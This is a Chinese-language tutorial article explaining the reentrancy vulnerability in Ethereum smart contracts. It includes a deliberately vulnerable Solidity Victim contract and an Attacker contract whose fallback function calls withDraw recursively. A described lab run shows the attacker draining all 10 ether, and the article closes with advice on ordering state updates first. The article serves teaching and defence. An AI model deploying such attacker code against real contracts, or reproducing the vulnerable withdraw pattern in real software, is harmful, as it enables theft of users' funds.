首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >智能合约:重入漏洞

智能合约:重入漏洞

作者头像
yichen
修改2020-05-15 14:28:34
2K0
修改2020-05-15 14:28:34
举报

漏洞分析

以太坊智能合约的特点之一是能够调用其他外部合约的代码,然而这些外部合约可能被攻击者劫持,迫使合约通过回退函数进一步执行代码,包括回调本身。在 gas 足够的情况下,合约之间甚至可以相互循环调用,直至达到 gas 的上限,但是如果循环中有转账之类的操作,就会导致严重的后果

function withdraw(){
  require(msg.sender,call.value(balances[msg.sender])());
  balances[msg.sender]=0;

}

这种函数大多存在于钱包、去中心化交易所中,目的是为了让用户提款,将合约中的代币转换成通用的以太币

但是有个问题是他没有先对用户的代币余额进行清零,而智能合约进行转账的时候会调用收款方 fallback 函数

合约可以有一个未命名的函数 —— Fallback 函数。这个函数不能有参数也不能有返回值。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。 另外每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。如果不存在这样的函数,则合约不能通过常规交易接收以太币

如果构造一个 fallback 函数,函数里面也调用对方的 withdraw 函数的话,那将会产生一个循环调用转账功能,存在漏洞的合约会不断向攻击者合约转账,终止循环结束(以太坊 gas 有上限)

常用转币方式

<address>.reansfer()

发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入

<address>.send()

发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入

<address>.gas().call.value()()

当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击

代码调试

pragma solidity ^0.4.19;
 
contract Victim {
    mapping(address => uint) public userBalannce;
    uint public amount = 0;
    function Victim() payable{}
    function withDraw(){
        uint amount = userBalannce[msg.sender];
        if(amount > 0){
        msg.sender.call.value(amount)();
            userBalannce[msg.sender] = 0;
        }
    }
    function() payable{}
    function receiveEther() payable{
        if(msg.value > 0){
            userBalannce[msg.sender] += msg.value;
        }
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
}
 
contract Attacker{
    uint public amount = 0;
    uint public test = 0;
    function Attacker() payable{}
    function() payable{
        test++;
        Victim(msg.sender).withDraw();
    }
    function showAccount() public returns (uint){
        amount = this.balance;
        return this.balance;
    }
    function sendMoney(address addr){
        Victim(addr).receiveEther.value(1 ether)();
    }
    function reentry(address addr){
        Victim(addr).withDraw();
    }
}

部署 Attacker 合约,给 Attacker 合约 1 以太币

部署之后点击 showAccount 再点击 amount 看一下余额,成功

同样,部署 victim 合约,给他 10 以太币,目前账户余额如下:

调用 Attacker 合约的 sendMoney 函数,给 victim 转一个以太币

调用 Attacker 的 reentry 函数,进行攻击,然后看一下余额,发现原本在 victim 中的以太币全都到了 Attacker 合约中,同时 test 的值为 11,说明 fallback 函数被调用了 11 次

漏洞防范

重入漏洞的关键在于:利用回退函数调用函数本身,形成递归调用,在递归调用的过程中进行了转账操作,导致循环转账。虽然代码中存在判断语句,但是状态更新在函数调用之后,所以状态更新会因为循环调用而迟迟无法执行

广义上看,重入攻击条件有以下两个:

  1. 调用合约外部函数。若外部函数是被攻击者所操纵的合约,就存在隐患
  2. 外部函数操作优先于对状态的写操作

防范的关键在于编写合约的时候把写操作放在外部函数调用之前

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
区块链
云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档